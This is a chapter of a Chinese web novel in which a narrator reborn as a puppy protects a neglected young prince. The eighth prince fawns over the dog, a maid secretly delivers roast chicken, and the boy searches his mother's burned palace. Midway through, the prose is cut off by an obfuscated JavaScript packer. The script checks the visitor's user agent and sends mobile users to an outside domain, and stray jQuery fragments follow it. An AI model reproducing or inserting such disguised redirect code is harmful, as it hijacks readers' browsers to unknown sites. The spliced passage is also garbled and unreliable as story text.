八皇子步履从容地行到云澜舟面前,隔着三四步的距离,低头看了看那只小狗,又看向云澜舟。
他的个子要高一些,俯视他人的时候,眉眼中有几分疏离。
八皇子沉声质问道:“学规有言,入学之时,必净心静气,务学以成,勿携闲物,扰己乱他,今携幼犬来,成何体统?”
简宁立刻假装不存在般躲进了云澜舟的怀里。出门前是他缠着云澜舟带自己来的,没想到已经离开学堂,却被人揪住了小辫子。
听八皇子说话,似乎并未在意学堂论答的事情,倒对云澜舟不守学规很在意。
在脑中翻了翻原著,简宁直呼好家伙,人八殿下的外祖父是当世大儒,母妃是名动京城的才女,素来端方守礼。母子俩相仿,都是恪守规矩的性格。
简宁当时只想跟着云澜舟去看看学堂的氛围,怕云澜舟在那儿受欺负,结果给人家惹了这么大的麻烦。
而被惹麻烦的云澜舟恍若未觉,站在原地,沉默地看着八皇子。
如果不是知道云澜舟或许有自闭症,简宁也觉得他可以算得上目中无人。
落在克己复礼的八皇子眼里,俨然不敬兄长,不遵学规的混账东西了!
简宁咽了下口水,窥见八皇子脸色不太好,暗道这还了得,万一八皇子气性一上来,决定亲自动手教训弟弟怎么办?他已经九岁了,云澜舟才七岁,教训起来理所应当不说,高高的个子还让这个教训相当顺手!
实在不行就跑吧!简宁闭了闭眼,用脑袋拱云澜舟的胸口。
“小十一,为何不答话?”八皇子皱了皱眉。
云澜舟仍旧一言不发,低着头,一副“把你当空气”的模样。只是抿得死紧的唇角,让简宁感到他应该……有点紧张?
简宁忽然想到,自闭症儿童不知道如何跟他人相处,八皇子上来就一通质问,云澜舟更不知道该作何反应,于是偏开头,神色十分的僵硬,就像……赤裸裸的挑衅!
对面的八皇子果然脸色一沉。
简宁翻了个身,从云澜舟怀里起来,哆哆嗦嗦地跳下地,云澜舟惊了一瞬,要去抱他,但简宁下决心要站在他前面保护他,所以下地后灵活地蹿到了八皇子面前。
“汪汪汪汪汪汪!”
(有什么冲我来!)
八皇子的目光更沉了,盯着简宁不放。
简宁不怕八皇子对自己动手,他跑得快!
一人一狗四目相对片刻,八皇子的小脸忽然泛起可疑的红晕,别别扭扭道:“真是乖觉,摇尾而鸣,还向人求抚,如此……如此不端庄!”
简宁:?
简宁呆住了,想指着自己问一句:我吗?
然而八皇子不给他辩解的机会,一撩衣摆,蹲下身,快速出手——
轻轻覆上了小狗的脑袋。
简宁:??
手掌来回抚过,动作温柔而细致,简直称得上爱怜了!尽管他努力保持着一副严肃的神情,但脸上的红晕却愈发明显。声音也低了下来,带着些许的紧张和羞涩,“可是冷了?怎么一直发抖呢?”
简宁:???
他耷拉着耳朵,满脸凌乱。
所以原著中那个一板一眼像小太傅的八皇子,竟然还有这样一面吗!
八皇子取下脖间的绒颈,仔细地缠绕在简宁身上,刚好够包围他的肚子。又唤身后的侍从拿来一个木盒,从中取出香甜的糕点,掰碎了递到小狗嘴边。
简宁:……
简宁觉得很可怕,八皇子好像要用糕点利诱、再强抢民狗的样子!
他脑袋一扭,火速蹿回了云澜舟身边,而云澜舟似乎早已等不及,简宁还未跑到他脚边,云澜舟已经上前几步将他兜起,藏进了怀中。
趴好后,简宁像小孩被抱着一样,需要扭过身去看八皇子,也不知这景象又如何触动了八皇子的神经,本来因为小狗不让自己摸的八皇子神色颇为暗淡,此时的他却双眼明亮,“啪”地一声捂住鼻子,一丝鼻血慢慢从指缝中流了出来。
侍从见状,忙担忧地上来帮他擦鼻血。
“咳咳……”八皇子挥挥手,转过身,自己掏出锦帕擦干净后再转过来,他已平复了些情绪,只是淡然中残存着雀跃,语气也轻快许多,“我不爱吃甜食,快把这些糕点收起来,给十一殿下送去。”
这话十分的坦然,只是他的鼻尖和人中有些红,特别像激动又兴奋、试图诱拐修狗的小变态!
侍从低声嘟囔道:“殿下,您可爱吃了,这枣泥山药糕,这芙蓉雪花酥……”
“我的话也不听了吗?”八皇子恢复严肃刻板的模样,盯了那侍从一眼。
侍从立刻缩成鹌鹑,合上食盒,恭敬地递给云澜舟。
简宁有些好奇地从怀里翻出来,撑着身子去瞧食盒。那些糕点确实很香。皇子们在皇家小学(文启堂)有休息时间,除了云澜舟,其他皇子在上完早课后都会吃点东西。
简宁当时还在想,下次要不要叫云澜舟也带一些,他可以去偷。
好吧,如八皇子所说,他确实不是什么端庄狗。
显然,云澜舟比他端庄多了,瞥了眼食盒,根本不接。
君子不吃嗟来之食。
八皇子却急了,匆匆行了几步,将食盒硬塞到云澜舟的手里,“快拿回去,都是……都是我母妃亲手做的,你和它一起吃吧。”
旁边的侍从面色惊异,奇道:素来稳重端方的八殿下,怎么今日屡次出格?怎么塞完食盒之后,还伸手去人家怀里摸狗啊!
侍从有些替八殿下臊得慌,忙上前劝阻道:“殿下,殿下,手伸出来,殿下,娘娘还等着你用夕食呢,切不能迟了,殿下手……”
八殿下好不容易摸到小狗一缕毛,就被身边那些不长眼的侍从扒开了,他不悦地整了整衣袖,羞赧又有点不甘心,眼睁睁看着云澜舟逃也似的离开了。
云澜舟走得飞快,没注意自己手中拎着硬塞的食盒。他吓死了,八皇兄平日也不这样,今日怕是中了邪,差点把他的小狗摸走。
小狗简宁也很凌乱,原来八皇子是这样的八皇子吗!
走出十几步外,身后传来一个平稳的声音。
“小十一,今日学堂之事,不必放在心上。”
云澜舟脚步一顿,踌躇不过片刻,脚步更快了。
简宁闻言,从怀里钻出来,趴到云澜舟肩头。
天空落下飘飘悠悠的雪花,八皇子站在风雪中,神情淡泊。
简宁的小狗脑袋歪了歪,这是关心吧,八皇子对云澜舟,似乎不像其他皇子般冷漠。
他注视着那个淡紫色的少年,一直到云澜舟行过宫墙转角,才不见八皇子身形。
两人回到偏殿,云澜舟跑得小脸泛红,提起铜壶给自己倒了三四被冷茶才缓过来。
被他抱着的简宁没什么累的,云澜舟在歇息的时候,他就溜溜达达地跑到宫门外蹲守夕食。
藏在草丛间的简宁目不转睛,两只耳朵也竖起来,密切关注任何有人的动静。
不久,远远的左侧宫道拐角果然走出一个小宫女,扫眉耷眼儿的,似乎极不情愿来干这趟苦差事。她摇摇晃晃地走过来,将食盒往地上一杵,抬头望着那座焦黑焦黑的废宫,没好气地哼了声,拖着步子走了。
脚步声越来越远,简宁准备出去叼食盒,就在前腿迈出一步的时候,另外一急匆匆的脚步忽然传来。简宁耳朵一动,立刻缩回身体,像只大耗子般,猫着身体偷窥宫道上的情景。
再次出现的小宫女看起来年纪更小些,约莫十一二岁,身量细瘦,脸蛋两朵大冻疮,残留着一个清晰的巴掌印。
她鬼鬼祟祟地跑到食盒边,脚步跟猫儿一样,轻轻打开了食盒。
简宁的提到了嗓子眼儿,这不会是来偷吃的吧?难道云澜舟的饮食确按份例所送,然一些深宫中吃不饱的苦命宫女,就日日过来偷走一些?
正想着,那宫女在简宁的眼皮底下,将手伸进了食盒,拿出几个破馒头,揣进怀中,简宁差点忍不住跳出去逮她个正着,却不料,她竟然从怀里掏出了几个油纸包。
随着那宫女的动作,油纸包被打开,一股烤鸡的味道四处飘荡,惹得简宁狗性大发,咽了咽口水。
宫女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902466|136205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把烤鸡,还有些别的什么东西放了进去,收好油纸包,盖紧食盒,她警惕地观察四周,确定没有人在之后,匆匆地离开了。
简宁:……
什么情况这是?
等她走远,简宁若有所思地溜出来,叼起食盒,回到了云澜舟身边。
云澜舟正在闭目养神,简宁吵醒了他,便站起来去迎简宁叼在嘴里的食盒。简宁期待地等他打开食盒,果然!一只金黄油亮,香喷喷的烤鸡!
虽然不大,比较像大号的乳鸽,但云澜舟应该够吃了。
够吃的云澜舟其实早就觉得奇怪,因为以前可从来没够过。被放在废殿两年来,他吃的东西都像吃剩下的馊饭,早已麻木,有时候饿了,连雪堆也吃过。
不是没想过出去求救,可跟谁求救呢,父皇要是关心自己,怎么会眼睁睁看着下人苛待?这些或许都是父皇授意的,想把他磋磨死了,眼不见心不烦。
云澜舟苦笑了一下,如今这样的饭菜,竟然是一只小狗儿给自己带来的。无论是不是偷,他都会感激住在小狗身体中的灵魂。
简宁哪知道他早已听到自己的心声,还分辨出了自己的灵魂不属于小狗,他吃着云澜舟给自己掰下的鸡腿,心满意足,但也没想吃太多。一是小孩补身体很重要,他无意抢食,二是他是现代胃,加上穿成狗,这个味觉就奇了怪了,有些东西闻着香,吃起来却不怎么样。
最后,倒是八皇子送的糕点勉强对味儿,云澜舟不吃嗟来之食,简宁就都给吃了。
肚子撑得圆鼓鼓,简宁忍不住眯了一会,原来狗也会发犯晕啊。
他这团起身子不过几息,云澜舟的脚步声便引起了他的好奇心。这孩子平时几乎不出门,除了上学,总是一个人待着,要么鬼画符,要么把书倒过来看,嘴里念念有词。
简宁不知道的是,云澜舟那是在背书,倒过来看有助于及时查看自己有没有背错。
自以为发现小崽可能有点什么别的娱乐活动的简宁有些高兴,强撑起脑袋,跳下榻,跟上了云澜舟的步伐。
没走几步,他就意识到了不对劲。
这里是……淑妃曾经的宫殿。
四根残破的石柱依旧矗立,被火焰熏得漆黑。柱顶的雕刻依稀可见,却满是裂痕和焦黑的痕迹。窗户多而阔,想必淑妃曾经极喜阳光,如今只剩下几个空洞的框架,外面的光线透过窗户照进来,映在满是灰烬的地面上。
宫殿的中央,一只铜刻香炉尚存,然而周围堆积的灰烬和散落的残骸
简宁最强烈的感觉就是,这是一场凶猛且恐怖的大火。
他发了会儿呆,头顶被人摸了摸。
云澜舟对他的到来似乎并不惊讶,摸完他的脑袋后,将他抱到一个看起来勉强干净的焦黑木桌上,自己借着夕阳的昏黄光线,慢慢摸索着。
在这座无声破败的宫殿中,云澜舟好像一颗屋中的尘埃,迷茫又渺小。他的身影被夕阳拉长,映在满是灰烬和残骸的地面上,格外寂寥。
他缓缓走到一处墙壁前,那里的壁画虽然被火烧得模糊不清,但仍能依稀辨认出一些人物和花纹。云澜舟抚摸着那些残破的壁画,仿佛在回忆着什么,手指在墙壁上停留了一会儿,然后转身走向另一个角落,那里堆放着烧过的木架。
他小心翻动那些黑漆漆的木条,手停在了一个尚存几分颜色的铜盒上,仔细端详一番,捡起来用锦帕擦拭着。
转过身后,简宁被他唇边的笑容惊了一下。
四处早已满目疮痍,别人连看一眼都觉得害怕,但云澜舟却像找到了家一般,黑沉的眸中除了灰暗,还有曾经从未见过的眷恋。
那个盒子已经坏了,云澜舟不费什么力气便能打开,他从中取出一个歪歪扭扭的香囊,眼见还有绿色和红色的线头挂在上面,应当是主人并没有做完。
简宁好奇得不行,跳下去跑到云澜舟身边,却没有得到关注。云澜舟专注地打开了香囊,取出一枚信笺。
简宁看不到信笺写了什么,只看到云澜舟读完那个信笺后,微微失笑,不知想到了什么,脸色又逐渐阴沉,几乎能滴出墨汁来。